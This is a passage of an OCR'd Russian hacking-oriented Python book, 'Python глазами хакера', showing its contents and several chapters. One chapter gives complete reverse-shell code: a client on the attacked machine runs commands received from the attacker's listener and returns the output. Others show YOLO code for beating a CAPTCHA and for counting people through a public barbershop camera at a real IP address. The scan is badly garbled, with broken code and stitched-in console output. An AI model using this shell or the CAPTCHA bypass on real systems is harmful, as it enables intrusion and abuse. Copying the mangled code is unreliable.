КулЛиб электронная библиотека 

Python глазами хакера [Коллектив авторов] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


Настройки текста:



глазами ХАКЕРА

Санкт-Петербург

« БХВ-Петербург»

2022

УДК

ББК

004.43
32.973-018.1
П12

П12

Python

глазами хакера.

СПб.: БХВ-Петербург,

-

2022. -

176

с.: ил.

-

(Библиотека журнала «Хакер»)

ISBN 978-5-9775-6870-8
Рассмотрены современные интерпретаторы языка

reverse shell,

Python.

Описано устройств~

файлового вируса, трояна, локера и шифровальщика. Представлень

примеры инструментов дr1я автоматизированного сбора информации о компьюте
ре, динамического анализа вредоносного кода, в том числе с использованием АР

VirusTotal.

Приведены примеры программ для разгадыванИJ1 капчи, поиска людеi

на видео, обработки сложных веб-форм, автоматизации
сать на

Python

iOS.

Показано, как напи

новый навык для голосового помощника «Алиса» и различные про

граммы дr1я одноплатных компьютеров.

Для программистов и специалистов по и11формацио1111ой безопасности

ББК

УДК 004.4:
32.973-018.1

Группа подготовки издания:
Руководитель проекта

Павел Шали11

Зав.редакцией

Людмила Гауль

Редактор

Марк Бруцкий-Стемпковский

Компьютерная верстка

Ольги Сергие11ко

Дизайн обложки

Зои Канторович

Подписано в печать 01.12.21.
Формат 70х100 1 /1 6 . Печать офсетная. Усл. печ. л. 14,19.
Тираж 1500 экз. Заказ №2950.
"БХВ-Петербург'', 191036, Санкт-Петербург, Гончарная ул., 20.
Отпечатано с готового оригинал-макета

ООО "Принт-М",

ISBN 978-5-9775-6870-8

142300,

М.О., г. Чехов, ул. Полиграфистов, д.

© ИП

Югай АО.

1

2022

©Оформление. ООО "БХВ-Петербург", ООО "БХВ".

2022

Оглавление

Предисловие ..................................................................................................................... 7
в террариуме. Изучаем виды интерпретаторов

Python
.••••••••.••••• 9
.••••...••.•.••.•.••.•••••••••....•.••••.••.•••••..•........••.••••.•...••••.••.••••.••••.••••.
(Николай Марков)

1. Разборки

Python, надо понять Python."" ... "" ... " ..... ""." ............ " ............. "." .. "" ... " ..... "" .... 9
Нижний уровень .... "" ... "" ... " ..... " .......... " ... "."" ... " ..... " ..... " ... ""."" .. "." ............. " ....... "" .... " ... " .1 О
Змея в коробке ."" .. "." ..... " ... " ..... "." ""." ... ""."""."" ..... "."" ... " ..... "" .......... " ... " ... " ... "." "."" .... l l
Виртуальная реальность" ... ".""""."."" ..... "." ....... " ... " ... "" ... " ..... ""." .. ""."" .... "" ... "" ... "" .. "".12
Jython""."" .. "." ..... " .. " ...... """." ... "".""." .. " ... ""."""." ....... " ... " ..... "".""." ... "".""."""."" .. 12
lronPython ."" ..... " ... " .. "."" ... "."" ... "" ... " ... " " ... " ... "" ............... "" .. "." .. " .. "" "."" ..... "." ... "" 13
Заключение .. """" ... ""."".""" .......... " ... ".""".""."" ... " ..... "" ... "." .. "." .. " ... "" ........ " ...... "" ... " ..... 14

Чтобы понять

2. Reverse shell

на

Python.

Осваиваем навыки работы с сетью на

на примере обратного шелла (Илья Афанасьев)

Python
.•.••.••••.•.••••..•.•.•.••••.••.••••••••.••••.••••••.• 15

Переходим к практике .... " ..... " ... " ... ""."" ..... ""." ... "".""."""".""."" ..... "" .... "" ..... """.""."."". 15
Используем

UDP."" ... ""."" ... "" ... " ... " ... "" ..... "."" ...................... "".""" ... "" ........ " ..... "" .. "" ...... 16

Сторона сервера"."""." ............ " ... ""." .. "." ... "" ... " .. " ...... " ..... " ............. " ................ " ... "." .. 16
Сторона клиента .. " ..... " ... " ... " ... " ....... "."" ... "" ... " ................. " ... "" ..... " .... "" ..... """." .. " .... " 17

............................................................................................................................... 17
" .............. "." .......... " ................. " ............ " ...... "" ..... " ... "" .... "" ..... " ...... " .. " ....... 18
Сторона сервера .... " ... "" ... " ... " ..... " ... " ... " ..... " .......... "" ... " .......... " ..... " ........ " ... "" ........ "." .. 18
Сторона клиента." ... "" ... " ............... " ..... " ... " ... "" ............... "" ... " .. "."" ...................... " .. "" ... 19
Тестируем ." ..... ""." ........ " ...................... " ..... " ... " ............ " ..... " ............ " .. """" .......... " .... "".20
Применяем знания на практике ." ........ " ..... " ... " ............... "" ... " ... "" ............ " ........... " .. " ... "" ... ".21
Делаем полноценный reverse shell ...... "." ..... " .......... " .......... "."" ....... " ........... " ... """ ... "" ..... ".".21
Сторона клиента (атакованная машина) " ... " ..... " ... " ................. "".""" .... " .............. "" ....... 22
Сторона сервера (атакующего) " ... " ... ""."""."" ..... " ... ".""".""".""."""." ... ""." .. "".""" ... 23
Шелл одной строчкой ... " ......................... " ..... ""." ... "" ..... " ..... "." ... "" ..... " .. " .. " .. " ... "" ... "."."""25
В завершение."" ... " .......... " ... "" ... " ........ " ... " ..... " ............... " .......... ""." ....... "." .......... ""." .. "." .... 26
Тестируем

Используем ТСР

3. YOLO!

Используем нейросеть, чтобы следить за людьми

и разгадывать капчу (Татьяна Бабичева)
Какие бывают алгоритмы

••.•..•••.••.•..•.••..••••..•.••••.•.•••.•.••....••••••.•••••.•.. 27

.... ""." ... " ... ""." ..... " ..... """."." ... " ..... " ... "" ....... " .. " ....... "" ... """." .... 28
R-CNN, Region-Based Convolutional Neural Network """"""".""""""""""""""""""""".28
Fast R-CNN, Fast Region-Based Convolutional Neural Network """"""""""""""""""""".28
Faster R-CNN, Faster Region-Based Convolutional Neural Network"""""""""""".""""""28
YOLO, You Only Look Once ....... ""." ... " ..... ""."".""."" ... ""." ..... ""." .. """" .. " ... "".""""."28
Пишем код." ...................... " .................. " ................................ " ... " ... "" ... " ...... " ..... " ... "." .. "." ...... 29

("]-4-("]
Модифицируем приложение ......................................................................................................... 33
Итоги ............................................................................................................................................... 35

4.

Идеальная форма. Обрабатываем сложные формы на

Python

с помощью WTForms (Илья Русанен) " " " " " " " " " . " " " " " " " " " " " " " " . " " " " " " " " . " " " " 3 7
Зачем это нужно? ........................................................................................................................... 3 7
Установка

....................................................................................................................................... 39
............................................................................................................................ 39
Работа с формой ............................................................................................................................ 40
Генерация формы (GET /users/new) ...................................................................................... 41
Парсинг пейлоада (POST /users) .......................................................................................... .42
Опции для частичного парсинга пейлоада ......................................................................... .43
Валидаторы ............................................................................................................................ 44
Динамическое изменение свойств полей формы ....................................................................... .45
Сборные и наследуемые формы .................................................................................................. .46
Заполнение реляционных полей (one-to-many, many-to-many) ................................................. .47
Кастомные виджеты и расширения ..................................................................................... .49
Вместо заключения ........................................................................................................................ 50
Создание формы

5. Python для

микроконтроллеров. Учимся программировать

одноплатные компьютеры на языке высокого уровня (Виктор Паперно)

"""" 51

С чего все началось? ...................................................................................................................... 51

А чем эта плата лучше? ................................................................................................................. 51
И что, только официальная плата? ............................................................................................... 52
Подготовка к работе

...................................................................................................................... 53
......................................................................................................... 53
Взаимодействие с платой ............................................................................................................... 53
Начинаем разработку .................................................................................................................... 56
Hello world .............................................................................................................................. 56
Радужный мир ........................................................................................................................ 57
Монитор. Рисование, письмо и каллиграфия ...................................................................... 59
Настраиваем Wi-Fi и управляем через сайт ......................................................................... 60
Управление моторами ........................................................................................................... 62
Интернет вещей ...................................................................................................................... 64
Заключение ..................................................................................................................................... 65
Полезные ссылки ................................................................................................................... 65
Прошивка контроллера

6. Создаем простейший троян на Python (ВШ1ерий Линьков)"""""" ..""""""""""67
Теория ............................................................................................................................................. 67
Определяем

IP ................................................................................................................................ 68

Бэкконнект по почте ...................................................................................................................... 69
Троян ............................................................................................................................................... 71

Wi-Fi-cтилep ................................................................................................................................... 74
Доработки ....................................................................................................................................... 78
Заключение ..................................................................................................................................... 79

7.

Используем

Python для динамического

анализа вредоносного кода

(Евгений Дроботун)" .." ........." ............." ..." ..." ..." ................" .............................." ........ 81
Отслеживаем процессы

................................................................................................................. 83

L]-

5 -L]

Следим за файловыми операциями .............................................................................................. 87

API Windows ..................................................................................................... 88
WMI ................................................................................................................... 92
Монитор им действия с реестром ................................................................................................. 93
Используем API ..................................................................................................................... 94
Используем WMI ................................................................................................................... 95
Мониторим вызовы АРI-функций ................................................................................................ 96
Заключение ..................................................................................................................................... 99
Используем

Используем

Разведка змеем. Собираем информацию о системе с помощью

Python
(Марк Клинтов) ...•.••.•...••.•. ".•. ".•.•.......•.•..•....•.•. ".•.•. ".•. ".••...•••..•.•.••.••.••••.••••.•.•.•••• "••••• 101

8.

Инструменты ................................................................................................................................ l О 1

........................................................................................................................................... 102
102
Сбор данных ......................................................................................................................... 103
Скорость интернет-соединения ................................................................................. 104
Часовой пояс и время ................................................................................................. 104
Частота процессора .................................................................................................... 104
Скриншот рабочего стола .......................................................................................... 105
Запись в файл ............................................................................................................................... 105
Отправка данных ......................................................................................................................... 106
Собираем программу ................................................................................................................... 107
Пишем сборщик с графическим интерфейсом .......................................................................... \ 08
Вывод ............................................................................................................................................ 109

Задачи

Создаем основу программы ........................................................................................................

9.

Как сделать новый навык для Introduction and overview of IPython' s features.
%quickref -> Quick reference.
help
-> Python's own help systeм.
object?
-> Oetails aЬout 'object', use 'object??' for extra details.
In [1]: runfile('C: /Users/Ghoustchat/exaмple_tcp_server.py' , wdir='C:/Users/
Ghoustchat')
Нessage:

Консоль

До

IPython

Журнал истории

n: RW

Коди оека:

Рис.

2.2.

Ст

ASCJI

ке1:

4

Столбец:

16

Память:

45 ~

Вывод на стороне сервера

Успех! Поздравляю: теперь тебе открыты большие возможности. Как видишь, ни­
чего страшного в работе с сетью нет. И конечно, не забываем, что раз мы эксперты
в ИБ, то можем добавить шифрование в наш протокол.
В качестве следующего упражнения можешь попробовать, например, написать чат
на несколько персон, как на скриншоте (рис .
Консоnь

!Python

_

L1. 1 Консоль 8/А 13 [ Консоль 9/А D

2.3).

_

ех

1 Консоль 10/А D 1



Q.

Нessage: Привет! Меня 30вут Саша)

Address: ('127.0.0.1', 2531)
Нessage: Оу,

nривет,

в меня Женя!)

Address: ('127.0.0.1', 2532)
Нessage: Приятно nознакомиться,

но мне надо бежать,

извини

Address: ('127.0.0.1', 2531)
Нessage:

Конечно,

я всё

понимаю, мне тоже нужно уходить

Address: ('127.0.0.1', 2532)
Нessage: Ладно, nока)

Address: ('127.0.0.1', 2531)
Hessage : Пока)
Address: ('127.0.0.1', 2532)
Нessage: exit
Address: ('127.0.0.1', 2531)
Connection close for this client
Нessage: exit
Address: ('127.0.0.1', 2532)
Connection close for this client
1

Консоль IPY1hon /к
онсоль Python 1 Журнал истор.14 1

Достуn: RW

Конец строки:

Рис.

CRLF

2.3.

Кодировка:

ASCJI

Строка:

ll

Столбец:

Самодельный чат, вид со стороны сервера

1

Память:

50 '118

LJ- 21 - L I

Применяем знания на практике
Я дважды участвовал в

InnoCTF,

и работа с сокетами в

Python

весьма полезна при

решении задач на взлом. По сути, все сводится к тому, чтобы очень много раз
парсить посrупающие данные с сервера

InnoCTF

и правильно их обрабатывать.

Данные могут абсолютно любыми. Обычно это математические примеры, разные
уравнения и пр.

Для работы с сервером я использую следующий код.

import socket
try:
s = socket.socket(socket.AF_INET,
s. connect ( ( '' 1 ) )
while True:
data = s.recv(4096)
i f not data:
continue
st = data.decode("ascii")
#

spcket.SOCK_STREAМ)

Здесь идет алгоритм обработки задачи,

результаты работы которого должны оказаться

result
s.send(str(result)+'\n' .encode('utf-8'))
finally:
s. close ()
в переменной

Здесь мы сохраняем байтовые данные в переменную data, а потом преобразуем их
из кодировки

ASCII

в строке st = data.decode ("ascii"). Теперь в переменной st

у нас хранится то, что нам прислал сервер. Отправлять ответ мы можем, только по­
дав на вход строковую переменную, поэтому обязательно используем функцию

str ().В конце у нее символ переноса строки- \n. Далее мы все кодируем в UTF-8
и методом send ( ) отправляем серверу. В конце нам обязательно нужно закрыть со­
единение.

Делаем полноценный

reverse shell

От обучающих примеров переходим к реальной задаче

-

разработке обратного

шелла, который позволит выполнять команды на захваченной удаленной машине.

При этом добавить нам нужно только вызов функции subprocess. Что это такое?
В

Python

есть модуль subprocess, который позволяет запускать в операционной сис­

теме процессы, управлять ими и взаимодействовать с ними через стандартный ввод

и вывод. В качестве простейшего примера используем suЬprocess, чтобы запустить
блокнот:

import suЬprocess
subprocess.call('notepad.exe')
Здесь метод

call () вызывает (запускает) указанную программу.

LJ-- 22 --LJ
Переходим к разработке шелла. В данном случае сторона сервера будет атакующей
(т. е. наш компьютер), а сторона клиента- атакованной машиной. Именно поэто­
му шелл называется обратным.

Сторона клиента (атакованная машина)
Вначале все стандартно: подключаем модули, создаем экземпляр класса socket
и подключаемся к серверу (к тому, кто атакует):

import socket
import subprocess
s = socket.socket(socket.AF INET, socket.SOCK
s. connect ( ( '127. О. О .1 ', 8888) 1
Обрати внимание: когда мы указываем

IP

STREAМ)

для подключения, это адрес атакующего.

То есть в данном случае наш.

Далее идет основная часть кода, где мы обрабатываем команды и выполняем их.

while 1:
command = s. recv ( 1024) . decode 1)
if command.lower() == 'exit':
break
output = subprocess.getoutput(command)
s.send(output.encode() 1
s.close()
Вкратце пройдемся по коду. Так как нам в какой-то момент нужно будет выйти из
шелла, мы проверяем, не придет ли команда

exit,

и, если придет, прерываем цикл.

На случай, если она вдруг будет написана заглавными буквами или с заглавной,
переводим все символы принятой команды в нижний регистр строковым методом

lower().
А теперь самое главное. Метод getoutput ( 1 модуля subprocess вызывает исполнение
команды и возвращает то, что она выдаст. Мы сохраним вывод в переменную

output.
Наш буфер ограничен одним килобайтом памяти, чего может не хватить для сохране­
ния больших выводов. Для этого просто нужно зарезервировать больше памяти. На­
пример, 4096 байт, а не

1024.

Далее мы отправляем результат выполнения атакующему и, если атаку,ющий за­
вершил сессию командой

exit, закрываем соединение.

Весь код будет выглядеть вот так:

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK
s.connect( ('127.0.0.1', 8888))
while 1:
command = s.recv(l024) .decode()

STREAМ)

LJ- 23 -LJ
if command.lower() == 'exit':
break
output = suЬprocess.getoutput(command)
s.send(output.encode())
s. close ()

Сторона сервера (атакующего)
Здесь все начинается абсолютно так же, как и в примерах выше.

import socket
s = socket.socket(socket.AF_INET,
s. Ьind ( ( 'О. О. О. О' , 8888) )
s.listen(5)

socket.SOCK_STREAМ)

Единственное изменение- это IР-адрес. Указав одни нули, мы используем все

IP,

которые есть на нашей локальной машине. Если локальных адресов несколько, то

сервер будет работать на любом из них.
Далее принимаем подключение и данные: в client будет новое подключение (со­
кет), а в addr будет лежать адрес отправителя:

client, addr

=

s.accept()

Теперь основная часть:

while 1:
command = str (input ( 'Enter command: '))
client.send(command.encode())
if command. lower () == 'exit' :
break
result_output = client.recv(l024) .decode()
print(result_output)
client. close ()
s .close ()
Думаю, тебе уже знаком этот код. Здесь все просто: в переменную command мы со­
храняем введенную с клавиатуры команду, которую потом отправляем на атакуе­

мую машину. И заодно организуем себе возможность цивилизованно выйти, набрав
команду

exi t. Далее сохраняем то, что нам прислала атакованная машина, в пере­

менную result_output и выводим ее содержимое на экран. После выхода из цикла
закрываем соединение с клиентом и с самим сервером.

Весь код будет таким:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAМ)
s.Ьind(('0.0.0.0', 8888))
s.listen(S)
client, addr = s.accept()
while 1:
command = str (input ( 'Enter command: '))

L]--

24

--L]

client.send(command.encode())
if command.lower() == 'exit':
break
result_output = cl ient.recv( l024 ) .decode()
print(result_output)
client. close ()
s. close ()
Осталось проверить! Запускаем в одной консоли сервер (сторона атакующего)
2.4), а в другой - клиент (атакуемый) (рис. 2.5) и видим вывод в консоли сер­

(рис.

вера.

In [2):
In [2):

runfile('C:/Useгs/user/.spyder- pyЗ/shell_server.py' , wdir• 'C:/Users/user/.spydeг - pyЗ')

Enter conniand:

Консоль IPython

ЖУРf'iМ истории

Дoavn:

RW

Рис.

8

Конец строки:

2.4.

Пр1ац

Форм~т

Вмд

KoA14po1u: UТF-8

Строп:

11

Столбец:

Вывод на стороне атакующего

•Бt3ыМJ1JнныМ: - Блокнот

Ф1М

CRLf

D

х

Cnpa.au

VЕЕЕЕЩ

Здесь Вы можвrе полу
курсор на него и кажвв

Справке также может
аn О:
center х = int(obj[OJ * width)
center_y = int(obj[l] * height)
obj_width = int(obj[2] * width)
obj_height = int(obj[З] * height)
Ьох = [center_x - obj_width // 2, center_y - obj_height // 2,
obj_width, obj_height]
boxes.append(box)
class_indexes.append(class_index)
class_scores.append(float(class_score))
#

Выборка

chosen boxes = cv2.dnn.NМSBoxes(boxes, class_scores,
for Ьох- index in chosen- boxes:
Ьox_index = box_index[OJ
Ьох = boxes[box_index]
class_indexes[box_index]
class index

О.О,

0.4)

11 Для отладки рисуем объекты, входящие в искомые классы

if classes[class_index] in classes_to_look_for:
objects_count += 1
image_to_process = draw_object_bounding_box(image_to_process, class_index,
Ьох)

final_image = draw_object_count(image_to_process, objects_count)
return final_image
Далее добавим функцию, которая позволит нам обвести найденные на изображении
объекты с помощью координат границ, которые мы получили в apply_yolo_object_

detection.
def draw_object_bounding box(image to process, index,

Ьох):

lfHfl

Рисование границ объекта с подписями

:param image_to_process: исходное изображение
:param index: индекс определенного с помощью YOLO

класса объекта

L I - 31
:param Ьох: координаты
:return: изображение с
х,

у,

w, h =



области вокруг объекта
отмеченными объектами

Ьох

start = (х, у)
end = (х + w, у + h)
color
(0, 255, 0)
width
2
final image
cv2.rectangle(image_to_process, start, end, color, width)
start = (х, у - 10)
font size = 1
font = cv2.FONT HERSHEY SIMPLEX
width = 2
text = classes[index]
final image
cv2.putText(final image, text, start, font, font size, color, width,
cv2. LINE _М)
return final_image
Добавим функцию, которая выведет количество распознанных объектов на изобра­
жении.

def draw_object_count(image_to_process, objects_count):
Подпись

количества найденных объектов на изображении

:param image_to_process: исходное изображение
:param objects count: количество объектов искомого класса
:return: изображение с подписанным количеством найденнь~ объектов

start = (45, 150)
font size = 1.5
font = cv2.FONT HERSHEY SIMPLEX
width = 3
text = "Objects found: " + str(objects count)

# Вывод текста с обводкой (чтобы бьuю видно при разном освещении картинки)
white_color = (255, 255, 255)
Ыack_outline_color = (0, О, 0)
final image
cv2.putText(image_to_process, text, start, font, font_size,
Ыack_outline_color, width * 3, cv2.LINE_M)
cv2.putText(final image, text, start, font, font size, white_color,
final image
width, cv2.LINE_M)
return f inal image
Напишем функцию, которая будет анализировать изображение и выводить на экран
результат работы написанных нами алгоритмов.

LJ- 32 -LJ
def start_image_object detection():
Анализ изображения

try:
# Применение методов распознавания объектов на
cv2. imread ("assets/truck_ captcha. png")
image
image = apply_yolo_object_detection(image)
# Вывод обработанного изображения
cv2.imshow("Image", image)
if cv2.waitKey(0):
cv2.destroyAllWindows()

изображении от

YOLO

на экран

except Keyboardinterrupt:
pass
А теперь мы создадим функцию main, в которой настроим нашу сеть, и попробуем
запустить ее.

name

if

main



# Загрузка весов YOLO из файлов и настройка сети
net = cv2.dnn.readNetFromDarknet("yolov4-tiny.cfg", "yolov4-tiny.weights")
layer_names = net.getLayerNames()
out_layers_indexes = net.getUnconnectedOutLayers()
out layers = [layer_names[index[O] - 1] for index in out_layers indexes]
# Загрузка из файла классов объектов,
with open("coco.names.txt") as file:
classes = file.read() .split("\n")
#

Определение классов,

которые умеет обнаруживать

YOLO

которые будут приоритетными для поиска на изображении

coco.names.txt
# В данном случае определяется грузовик для
classes_to_look_for = ["truck"]
#Названия находятся в файле

прохождения САРТСНА

start image_object_detection()
Давай посмотрим, как алгоритм

(рис.

YOLO

справился с тестом простой САРТСНА

3.2, 3.3).

Некоторая погрешность все же есть, но два из трех грузовиков алгоритм выбрал
правильно.

Кажется, пока что восстание машин нам не грозит!

:)

L I - 33 - L I

С~ф
Рис.

3.2.

Рис.

Исходная САРТСНА

3.3.

Результат применения

YOLO

Модифицируем приложение
Теперь мы с тобой приступим к решению практической задачи, в которой нам

будет важно контролировать количество человек в помещении. Тем более что во
время ограничительных мер, связанных с

COVID-19,

это не просто интересно,

но еще и актуально.

Чтобы задача была на «живом примере», мы воспользуемся публичной камерой,
установленной в одном из барбершопов Лондона. Из-за его скромной площади на­

ходиться внутри может не больше десяти человек.
Чтобы решить эту задачу, достаточно добавить функцию, которая будет обрабаты­
вать видео по кадрам и выводить результат обработки на экран. Чтобы не нагру­

жать устройство обработкой каждого кадра, обновление экрана будет происходить

по нажатии любой клавиши. На мощных компьютерах это необязательно.

def start_video_object_detection():
Захват и анализ

while True:

видео

в режиме реального

времени

LI-- 34 --LI
try:
#

Захват картинки с видео

video camera capture =
cv2-:-vide0Capture("http://81.130.136.82:82/mjpg/video.mjpg")
while video_camera_capture.isOpened():
ret, frame = video_camera_capture.read()
if not ret:
break
# Пр~енение методов распознавания объектов
frame = apply_yolo_object_detection(frame)

на кадре видео от

# Вывод обработанного изображения на экран с уменьшением
frame = cv2.resize(frame, (1920 // 2, 1080 // 2))
cv2.imshow("Video Capture", frame)
if cv2.waitKey(0):
break

YOLO

размера окна

video_camera_capture.release()
cv2.destroyAllWindows()
except Keyboardinterrupt:
pass
Также нам потребуется немного модифицировать функцию main, чтобы теперь за­
пускать обработку видео вместо обработки изображения.

if

name

main



# Загрузка весов YOLO из файлов и настройка сети
net = cv2.dпn.readNetFromDarknet("yolov4-tiny.cfg", "yolov4-tiny.weights")
layer_names = net.getLayerNames()
out layers indexes = net.getUnconnectedOutLayers()
out layers = [layer_names[index[O] - 1) for index in out layers_indexes]

# Загрузка из файла классов объектов,
with open("coco.names.txt") as file:
classes = file.read() .split("\n")
#

Определение классов,

YOLO

которые будут приоритетными для поиска на изображении

#Названия находятся в файле

#

которые умеет обнаруживать

coco.names.txt

В данном случае определяется грузовик для прохождения САРТСНА и человек для
анализа

classes to look_for = ["truck", "person"]
start_video_object_detection()
Получаем результат: шесть из семи человек были распознаны (рис.

3.4).

видео

L]--

Рис.

3.4.

35

--L]

Результат обработки видео

Можно добавить и другие nолезные функции: наnример, отnравлять на nочту или
в

Telegram

сообщение о том, что в барбершоn набилось многовато людей.

Итоги
Алгоритмы обнаружения объектов не дают стоnроцентной точности, но они все
равно эффективны и сnособны работать гораздо быстрее любого из нас.
Возможно, ты сnросишь, nочему мы не следим, чтобы соблюдалось расстояние
в nолтора метра. В реальной жизни его будет сложно nроверять: наnример, когда
nеред нами

napa

друзей, семья с ребенком или nроисходит действие, невозможное

без близкого контакта, а в nарикмахерской это случается nостоянно. Кроме того,
если камера будет стоять nод неудачным углом, сложность измерения расстояния
возрастает.

Здесь nотребуются алгоритмы, оnределяющие в nерсnективе габариты объектов и

работающие с трехмерным nространством. Такие исnользуются для оnределения
трансnортных средств в самоуnравляемых автомобилях

- Aggregate View Object
Oriented Object Bounding
30
YOLO
Detection (https://github.com/kujason/avod)
Вох Detection (https://gitbub.com/maudzung/Complex-YOLOv4-Pyto rcb).
или

Исходники nроекта, с которыми ты сможешь nоработать над решением nодобных

задач, смотри в моем реnозитории на

Object-Detection-Examples).

GitHub (https://github.com/EnjiRouz/Yolo-

-------0

Идеальная форма.

4.

Обрабатываем сложные формы
на

Python

с помощью

WTForms

Илья Русанен

Обработка НТМL-форм в веб-приложениях

-

несложная задача. Казалось бы,

о чем говорить: набросал форму в шаблоне, создал обработчики на сервере

-

и готово. Проблемы начинаются, когда форма разрастается: нужно следить за по­
лями, их

ID,

атрибутами name, корректно маппить атрибуты на бэкенде при генера­

ции и процессинге данных. А если часть формы нужно еще и использовать повтор­

но, то разработка превращается в постоянную рутину: приходится бесконечно
копировать атрибуты тегов с клиента на сервер и копипастить однотипный код.
Однако есть способы сделать работу с формами удобной.

Зачем это нужно?
Чтобы понять, какую проблему мы решаем, давай взглянем на простой пример.
Представь, что в нашем веб-приложении есть форма для создания пользователей.

< 1 - - account info -->

< 1 - - meta info -->

Male
Female

L]--

38

--L]

Эта форма выглядит просто. Однако использование в реальном приложении доба­
вит ряд задач.

1.

У каждого поля (или в одном блоке) нужно вывести информацию об ошибках,
которые могут появиться при валидации формы.

2.
3.

Скорее всего, для некоторых полей мы захотим иметь подсказки.

Наверняка нам нужно будет повесить по одному или несколько СSS-классов на
каждое поле или даже делать это динамически.

4.

Часть полей должна содержать предварительно заполненные данные с бэкен­
да

-

предыдущие попытки сабмита формы или данные для выпадающих спи­

сков. Частный случай с полем gender прост, однако опции для селекта могут

формироваться запросами к БД.
И так далее. Все эти доделки раздуют нашу форму как минимум вдвое.
А теперь посмотрим на то, как мы будем обрабатывать эту форму на сервере.
Для каждого поля мы должны сделать следующее.

1.

Корректно смаппить его по name.

2.

Проверить диапазон допустимых значений- валидировать форму.

3.

Если были ошибки, сохранить их, вернув форму для редактирования назад на
клиентскую часть.

4.

Если все ОК, то смаппить их на объект БД или аналогичную по свойствам
структуру для дальнейшего процессинга.

Вдобавок при создании пользователя тебе, как админу, нужно заполнять только
часть данных email и password, остальное пользователь заполнит сам в профиле.
В этом случае тебе, скорее всего, придется скопировать шаблон, удалив часть по­
лей, создать идентичный обработчик формы на сервере или вставлять проверки
в текущий для различных вариантов формы. Логику валидации полей придется или
копировать, или выносить в отдельную функцию. При этом нужно не запутаться
в названиях полей, приходящих с клиента, иначе данные просто потеряются.

Но пользователей нужно не только создавать, но и редактировать, используя ту же

самую форму! Причем у админа и юзера эти формы будут разные, с частично пере­
секающимся набором полей.
Все эти требования резко увеличивают количество шаблонов, обработчиков, вали­
даторов, которые в лучшем случае будут вынесены в общий модуль, а скорее всего,
будут копипаститься по-быстрому. И при необходимости изменить одно поле
в форме придется перелопатить все приложение, отлавливая ошибки и опечатки.

Было бы удобнее описать форму в каком-то декларативном формате, например
в виде Python-клacca, одноразово описав все параметры, классы, валидаторы, обра­
ботчики, а заодно предусмотрев возможности ее наследования и расширения. Вот

LJ-- 39 --L'J
rут-то

поможет

и

нам

библиотека

WTForms (https://wtforms.readthedocs.io/

en/staЫe/).
Если ты использовал крупные фреймворки типа Djaпgo или Rails, ты уже сталкивался
со схожей функциональностью в том или ином виде. Однако не для каждой задачи
требуется огромный Djaпgo. Применять WТFoгms удобно в паре с легковесными мик­
рофреймворками или в узкоспециализированных приложениях с необходимостью об­
рабатывать веб-формы, где использование Djaпgo неоправданно.

Установка
Дrtя начаrш установим саму библиотеку. Я буду показывать примеры на

где нужен контекст,

Там,

код исполняется в обработчике

Python 3.
фреймворка aiohttp

- примеры будут работать
Flask (http://flask.pocoo.org/), Sanic (https://github.com/huge-success/sanic) или
любым другим модулем. В качестве шаблонизатора используется Jinja2 (https://
jinja.palletsprojects.com/en/2.10.x/). Устанавливаем через pip:
(https://docs.aiohttp.org/en/staЫe/). Сути это не меняет
с

pip install wtforms
Проверяем версию.

import wtf orms
wtforms. version

'2.2.1'
Попробуем переписать форму выше на

WTForms

и обработать ее.

Создание формы
В

WTForms

ние формы

есть ряд встроенных классов для описания форм и их полей. Определе­

-

это класс, наследуемый от встроенного в библиотеку класса Form.

Поля формы описываются атрибутами класса, каждому из которых при создании
присваивается инстанс класса поля типа, соответствующего типу поля формы. Зву­
чит сложно, на деле проще.

from wtforms import Form, StringField, TextAreaField, SelectField, validators
class UserForm ( Form) :
first _ name = StringField ( 'First name', [validators. Length (min=5, mах=ЗО) ] )
last _ name = StringField ( 'Last name', [validators. Length (min=5, mах=ЗО)])
email = StringField ( 'Email', [validators. Email () ] )
password = StringField ( 'Password')

# meta
gender = SelectField('Gender', coerce=int, choices=[
(0, 'Male'),
(1, 'Female'),
])

# cast val as int

L]--

40

--L]

city = StringField( 'City')
signature = TextAreaField ( 'Your signature', [validators. Length (min=l О, max=4096) ] )
Вот, что мы сделали.

1.

Создали класс UserForm для нашей формы. Он наследован от встроенного Form
(и BaseForm).

2.

Каждое из полей формы описали атрибугом класса, присвоив объект встроенного в либу класса типа Field.

В большинстве полей формы мы использовали импортированный класс stringField.
Как нетрудно догадаться, поле gender требует ввода другого типа

-

ограниченного

набора значений (м/ж), поэтому мы использовали SelectField. Подпись пользовате­
ля тоже лучше принимать не в обычном input, а в textarea, поэтому мы использова­
ли TextAreaField, чье НТМL-представление (виджет)

-

тег .

Если бы нам нужно бьmо обрабатывать числовое значение, мы бы импортировали
встроенный класс IntegerField и описали бы поле им.
В WТForms множество встроенных классов для описания полей, посмотреть все мож­
но здесь (https://wtfonns.readthedocs.io/en/staЫe/fields/#basic-fields). Также можно
создать поле кастомного класса.

О полях нужно знать следующее.

L] Каждое поле может принимать набор аргументов, общий для всех типов полей.
L] Почти каждое поле имеет НТМL-представление, так называемый виджет.
L] Для каждого поля можно указать набор валидаторов.
L] Некоторые поля могуг принимать дополнительные аргументы. Например, для

SelectField можно указать набор возможных значений.
L] Поля можно добавлять к уже существующим формам. И можно модифициро­

вать, изменять значения на лету. Это особенно полезно, когда нужно чуть изме­
нить поведение формы для одного конкретного случая, при этом не создавать

новый класс формы.
L] Поля могуг провоцировать ошибки валидации по заданным правилам, они будуг
храниться в

form. field. errors.

Работа с формой
Попробуем отобразить форму. Обычный

worktlow

работы с формами состоит из

двух этапов.

1.

GЕТ-запрос страницы, на которой нам нужно отобразить нашу форму. В этот

момент мы должны создать инстанс нашей формы, настроить его, если потребу­
ется, и передать шаблонизатору в контексте для рендеринга. Обычно это делает­

ся в обработчике

(action)

контроллера GЕТ-запроса и чем-то похожем в зависи­

мости от НТТР-фреймворка, которым ты пользуешься (или не пользуешься, для

WTForrns

это не проблема). Другими словами, в обработчике

/users/new. К слову, в

Django

или

Rails

poyra

вроде GET

ты выполняешь схожие действия. В пер-

L]-

41

-L]

вом создаешь такую же форму и передаешь ее шаблонизатору в

template context,

а во втором создаешь в текущем контексте новый, еще не сохраненный объект
через метод

2.

new (@user = User.new).

РОSТ-запрос страницы, с которой мы должны получить данные формы (напри­
мер, POST /users) и как-то процессить: выполнить валидацию данных, заполнить
поля объекта из формы для сохранения в БД.

Генерация формы (GET /users/new)
Создадим инстанс нашей предварительно определенной формы:

user_ form = UserForm (}
type (user_form}
main

.UserForm

